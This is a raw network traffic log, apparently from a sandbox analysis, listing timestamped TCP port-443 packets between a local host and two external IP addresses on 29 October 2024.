Oct 29, 2024 10:47:12.716104984 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.716142893 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.716516972 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.716557980 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.716586113 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.716594934 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.716623068 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.716732979 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.716772079 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.716797113 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.716804981 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.716819048 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.716826916 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.716927052 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.716965914 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.716983080 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.716991901 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.717016935 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.717266083 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.717303038 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.717317104 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.717348099 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.717363119 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.717562914 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.717607975 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.717622995 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.717638016 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.717680931 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.717761993 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.717803001 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.717818975 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.717828989 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.717854023 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.720395088 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.720407963 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.720474958 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.720490932 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.726445913 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.756150961 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.756198883 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.756254911 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.756267071 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.756297112 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.798894882 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.827162981 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.827217102 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.827243090 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.827251911 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.827299118 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.834652901 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.834693909 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.834728956 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.834738016 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:12.834770918 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:12.834781885 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.112236977 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.112261057 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.112323046 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.112356901 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.112418890 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.112451077 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.112468004 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.112518072 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.112526894 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.112566948 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.112643957 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.112658978 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.112704992 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.112713099 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.112786055 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.112884998 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.112900972 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.112961054 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.112968922 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.113007069 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.113023043 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.113028049 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.113040924 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.113049984 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.113097906 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.113374949 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.113389015 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.113442898 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.113451004 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.113492012 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.113509893 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.113543034 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.113552094 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.113565922 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.113600016 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.113854885 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.113869905 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.113917112 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.113924980 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.113966942 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.113985062 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.114023924 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.114031076 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.114048958 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.114075899 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.114304066 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.114320040 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.114386082 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.114394903 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.114408016 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.114433050 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.114526987 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.114542007 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.114590883 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.114598989 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.114638090 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.114643097 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.114651918 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.114670992 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.114695072 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.114723921 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.114728928 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.114768982 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.114789009 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.114804029 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.114830971 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.114836931 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.114866018 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.114881039 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.115185022 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.115200043 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.115252972 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.115262985 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.115274906 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.115293026 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.115329027 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.115336895 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.115355015 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.115372896 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.115515947 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.115545034 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.115581036 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.115591049 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.115602970 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.115602970 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.115622997 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.115631104 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.115637064 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.115658998 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.115688086 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.116075039 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.116091967 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.116128922 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.116136074 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.116154909 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.116173983 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.116185904 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.116200924 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.116239071 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.116245031 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.116267920 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.116277933 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.116390944 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.116405010 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.116445065 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.116451979 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.116504908 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.116770983 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.116786957 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.116831064 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.116838932 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.116926908 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.117007971 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.117023945 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.117055893 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.117063046 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.117093086 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.117098093 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.117101908 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.117110968 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.117127895 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.117141008 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.117147923 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.117171049 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.117175102 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.117186069 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.117196083 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.117237091 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.117243052 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.117253065 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.117280960 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.117285967 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.117300034 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.117326975 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.117680073 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.117697954 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.117731094 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.117732048 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.117742062 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.117759943 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.117788076 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.117789030 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.117799044 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.117835999 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.117842913 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.117880106 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.117907047 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.117918015 CET	443	49756	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:13.117933035 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.117933035 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:13.117954969 CET	49756	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.262342930 CET	49758	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.262388945 CET	443	49758	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.262485981 CET	49758	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.263365030 CET	49759	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.263410091 CET	443	49759	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.263474941 CET	49759	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.263832092 CET	49758	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.263849974 CET	443	49758	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.264204025 CET	49759	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.264219999 CET	443	49759	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.264899969 CET	49760	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.264997005 CET	443	49760	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.265069962 CET	49760	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.267129898 CET	49760	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.267158985 CET	443	49760	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.268335104 CET	49761	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.268373013 CET	443	49761	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.268476009 CET	49761	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.268704891 CET	49761	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.268722057 CET	443	49761	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.269315004 CET	49762	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.269344091 CET	443	49762	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.269404888 CET	49762	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.269682884 CET	49763	443	192.168.2.4	152.199.21.175
Oct 29, 2024 10:47:14.269691944 CET	443	49763	152.199.21.175	192.168.2.4
Oct 29, 2024 10:47:14.269886971 CET	49762	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.269913912 CET	49763	443	192.168.2.4	152.199.21.175
Oct 29, 2024 10:47:14.269912958 CET	443	49762	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.270152092 CET	49763	443	192.168.2.4	152.199.21.175
Oct 29, 2024 10:47:14.270163059 CET	443	49763	152.199.21.175	192.168.2.4
Oct 29, 2024 10:47:14.270644903 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.270699024 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.270761013 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.270994902 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.271027088 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.598329067 CET	49766	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.598377943 CET	443	49766	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.598505974 CET	49766	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.604176998 CET	49766	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.604209900 CET	443	49766	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.867826939 CET	443	49762	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.868138075 CET	49762	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.868200064 CET	443	49762	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.869667053 CET	443	49762	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.869731903 CET	49762	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.870040894 CET	49762	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.870125055 CET	443	49762	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.870193958 CET	49762	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.893997908 CET	443	49758	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.894375086 CET	49758	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.894407034 CET	443	49758	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.895520926 CET	443	49758	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.895606995 CET	49758	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.896006107 CET	49758	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.896123886 CET	443	49758	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.896217108 CET	49758	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.896230936 CET	443	49758	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.900772095 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.900979042 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.900990963 CET	443	49759	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.900991917 CET	443	49760	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.901040077 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.901177883 CET	49760	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.901205063 CET	443	49760	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.901223898 CET	443	49761	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.901271105 CET	49759	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.901288986 CET	443	49759	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.901494980 CET	49761	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.901508093 CET	443	49761	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.902647018 CET	443	49760	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.902690887 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.902719021 CET	49760	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.902762890 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.902956963 CET	443	49759	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.903026104 CET	49759	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.903136969 CET	443	49761	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.903212070 CET	49761	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.903348923 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.903439999 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.903937101 CET	49760	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.904078960 CET	443	49760	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.904504061 CET	49759	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.904589891 CET	443	49759	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.905069113 CET	49761	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.905158043 CET	443	49761	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.908900023 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.908916950 CET	443	49764	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.908941031 CET	49760	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.908951998 CET	443	49760	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.909168959 CET	49759	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.909179926 CET	443	49759	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.909260988 CET	49761	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.909269094 CET	443	49761	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.910217047 CET	49762	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.910224915 CET	443	49762	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:14.940738916 CET	49758	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.955976009 CET	49760	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.955986977 CET	49764	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.956000090 CET	49762	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.956001997 CET	49759	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:14.956006050 CET	49761	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.094366074 CET	443	49762	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.120903969 CET	443	49762	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.120980978 CET	49762	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.121041059 CET	443	49762	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.121078014 CET	443	49762	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.121139050 CET	49762	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.121608973 CET	49762	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.121639013 CET	443	49762	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.122051001 CET	49767	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.122137070 CET	443	49767	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.122241974 CET	49767	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.122586966 CET	49767	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.122625113 CET	443	49767	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.141588926 CET	443	49758	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.141635895 CET	443	49758	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.141668081 CET	443	49758	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.141688108 CET	49758	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.141710043 CET	443	49758	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.141779900 CET	443	49758	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.141825914 CET	49758	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.142797947 CET	49758	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.142813921 CET	443	49758	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.143243074 CET	49768	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.143346071 CET	443	49768	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.143441916 CET	49768	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.143848896 CET	49768	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.143928051 CET	443	49768	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.153996944 CET	443	49759	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.154140949 CET	443	49759	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.154191971 CET	49759	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:15.154210091 CET	443	49759	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.154331923 CET	443	49759	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:15.154383898 CET	49759	443	192.168.2.4	104.21.57.143
